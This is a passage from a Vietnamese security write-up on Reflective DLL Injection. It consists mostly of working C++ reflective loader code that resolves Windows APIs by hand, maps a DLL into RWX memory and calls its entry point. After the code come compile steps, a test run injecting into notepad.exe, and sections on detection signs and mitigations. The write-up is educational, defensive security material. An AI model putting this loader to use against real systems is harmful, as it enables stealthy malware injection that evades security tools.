moduleName[1] == 't' && moduleName[2] == 'd' && moduleName[3] == 'l' && moduleName[4] == 'l' && moduleName[5] == '.' && moduleName[6] == 'd' && moduleName[7] == 'l' && moduleName[8] == 'l') uiModuleBaseNtdll = (HMODULE)(module->DllBase); ptr = ptr->Flink; } while (!ptrVirtualAlloc || !ptrGetProcAddress || !ptrLoadLibraryA) { IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)uiModuleBaseKernel32; IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)uiModuleBaseKernel32 + dosHeader->e_lfanew); IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)uiModuleBaseKernel32 + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD* nameArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNames); WORD* ordinalArray = (WORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNameOrdinals); DWORD* funcArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfFunctions); for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) { char* funcName = (char*)((BYTE*)uiModuleBaseKernel32 + nameArray[i]); if (!ptrVirtualAlloc && funcName[0] == 'V' && funcName[1] == 'i' && funcName[2] == 'r' && funcName[3] == 't' && funcName[4] == 'u' && funcName[5] == 'a' && funcName[6] == 'l' && funcName[7] == 'A' && funcName[8] == 'l' && funcName[9] == 'l' && funcName[10] == 'o' && funcName[11] == 'c') ptrVirtualAlloc = (pVirtualAlloc)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]])); else if (!ptrGetProcAddress && funcName[0] == 'G' && funcName[1] == 'e' && funcName[2] == 't' && funcName[3] == 'P' && funcName[4] == 'r' && funcName[5] == 'o' && funcName[6] == 'c' && funcName[7] == 'A' && funcName[8] == 'd' && funcName[9] == 'd' && funcName[10] == 'r' && funcName[11] == 'e' && funcName[12] == 's' && funcName[13] == 's') ptrGetProcAddress = (pGetProcAddress)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]])); else if (!ptrLoadLibraryA && funcName[0] == 'L' && funcName[1] == 'o' && funcName[2] == 'a' && funcName[3] == 'd' && funcName[4] == 'L' && funcName[5] == 'i' && funcName[6] == 'b' && funcName[7] == 'r' && funcName[8] == 'a' && funcName[9] == 'r' && funcName[10] == 'y' && funcName[11] == 'A') ptrLoadLibraryA = (pLoadLibraryA)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]])); } } uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; uiBaseAddress = (ULONG_PTR)ptrVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ULONG_PTR uiSizeOfHeaders = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; ULONG_PTR uiCurPtrToRawDll = uiLibraryAddress; ULONG_PTR uiNewPtrOfDll = uiBaseAddress; while (uiSizeOfHeaders--) *(BYTE*)uiNewPtrOfDll++ = *(BYTE*)uiCurPtrToRawDll++; uiCurPtrToRawDll = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); WORD uiNumberOfSections = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while (uiNumberOfSections--) { ULONG_PTR curPtrToVAddOfSection = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->VirtualAddress); ULONG_PTR sectionRawData = uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->PointerToRawData; ULONG_PTR sizeOfCurSection = ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->SizeOfRawData; while (sizeOfCurSection--) { *(BYTE*)curPtrToVAddOfSection++ = *(BYTE*)sectionRawData++; } uiCurPtrToRawDll += sizeof(IMAGE_SECTION_HEADER); } PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)-> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); while (pImportDescriptor->Name) { HMODULE hModule = ptrLoadLibraryA((LPCSTR)(uiBaseAddress + pImportDescriptor->Name)); PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(uiBaseAddress + pImportDescriptor->FirstThunk); while (pThunk->u1.AddressOfData) { PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiBaseAddress + pThunk->u1.AddressOfData); FARPROC pFunc = ptrGetProcAddress(hModule, (LPCSTR)(pImportByName->Name)); if (pFunc) { pThunk->u1.Function = (ULONGLONG)pFunc; } pThunk++; } pImportDescriptor++; } PIMAGE_DATA_DIRECTORY baseRelocAddress = (PIMAGE_DATA_DIRECTORY) & ((PIMAGE_NT_HEADERS)uiHeaderValue)-> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (baseRelocAddress->Size) { PIMAGE_BASE_RELOCATION vaBaseRelocTable = (PIMAGE_BASE_RELOCATION)(uiBaseAddress + baseRelocAddress-> VirtualAddress); while (vaBaseRelocTable->SizeOfBlock) { ULONG_PTR vaCurRelocBlock = uiBaseAddress + vaBaseRelocTable->VirtualAddress; PIMAGE_RELOC RelocBlock = (PIMAGE_RELOC)((ULONG_PTR)vaBaseRelocTable + sizeof(IMAGE_BASE_RELOCATION)); for (DWORD i = 0; i < (vaBaseRelocTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); i++) { if (RelocBlock[i].Type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR*)(vaCurRelocBlock + RelocBlock[i].Offset) += uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; RelocBlock++; } vaBaseRelocTable = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)vaBaseRelocTable + vaBaseRelocTable-> SizeOfBlock); } } ULONG_PTR dllMain = uiBaseAddress + ((PIMAGE_NT_HEADERS) uiHeaderValue)->OptionalHeader.AddressOfEntryPoint; ((DLLMAIN)dllMain)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL); } ``` * * Để compile thì mở `x64 Native Tools Command Prompt for VS 2022` hoặc `x86 Native Tools Command Prompt for VS 2022` tùy mục đích phiên bản, đến đúng đường dẫn và `cl /nologo /LD /O2 ReflectiveLoader.cpp /link /OUT:ReflectiveLoader.dll` nhaaa. ## Test thử ... ![image](https://hackmd.io/_uploads/HyroHImtxx.png) * Cần thiết thì ta kiểm tra thêm bộ nhớ của **notepad.exe**, có thể dùng **Process Hacker**. ![Screenshot 2025-08-20 220816](https://hackmd.io/_uploads/r1i8SPXKgg.png) * Ta thấy tại tab **Memory**, có 1 địa chỉ quyền **RWX**, và xem nội dung thử thì ta thấy các dòng rất quen thuộc, đó là **DOS header** và **DOS stub** của **DLL**. Vậy điều đó khẳng định rằng quá trình thực hiện kỹ thuật của chúng ta thành công. # Phát hiện và phòng chống Reflective DLL Injection ## Dấu hiệu nhận biết * **DLL không hợp lệ**: Module **DLL** trong tiến trình không có đường dẫn file trên ổ đĩa. * **Hành vi bất thường**: Tiến trình hợp lệ nhưng có hoạt động lạ (kết nối máy chủ lạ, ghi file, thực thi lệnh). * **Thiếu sự kiện LoadLibrary/NtMapViewOfSection**: **DLL** xuất hiện nhưng không qua các **API** nạp **DLL** thông thường. * **Memory scanning**: Tìm code trong vùng nhớ không thuộc module hợp lệ (dùng **Volatility**, **rekall**). **Thread bất thường**: Xuất hiện `thread` mới được tạo bởi `CreateRemoteThread` hoặc `NtCreateThreadEx`. ## Phòng chống * **Giảm quyền tiến trình**: Chỉ cấp quyền tối thiểu cần thiết. * **Dùng AV/EDR mạnh**: Phát hiện dựa trên hành vi thay vì chỉ `signature`. * **Giám sát API injection**: Theo dõi `VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread`, `NtUnmapViewOfSection`. * **Cấm nạp DLL từ vùng nhớ lạ**: Ngăn tiến trình thực thi mã từ `memory` chưa xác thực. * **Kiểm tra chữ ký số DLL**: Chỉ cho phép **DLL** hợp lệ, có chứng chỉ. * **Sandbox/VM**: Phân tích ứng dụng nghi ngờ trong môi trường ảo hóa để quan sát hành vi. # Tổng kết * Với wu lần này, mình đã trình bày những tìm hiểu của mình về kỹ thuật **Reflective DLL Injection**, kết hợp so sánh ưu/nhược điểm so với **Classic DLL Injection**, đồng thời demo thử kỹ thuật. Trong lúc tổng hợp wu có thể có những sai sót, các bạn đọc tham khảo có thể góp ý để wu mình hoàn thiện hơn. Tới đây là kết thúc wu rồi, chúc các bạn 1 ngày tốt lành và mong wu này giúp ích cho các bạn!!! # Refs https://hackmd.io/@Wh04m1/BynkMpRF3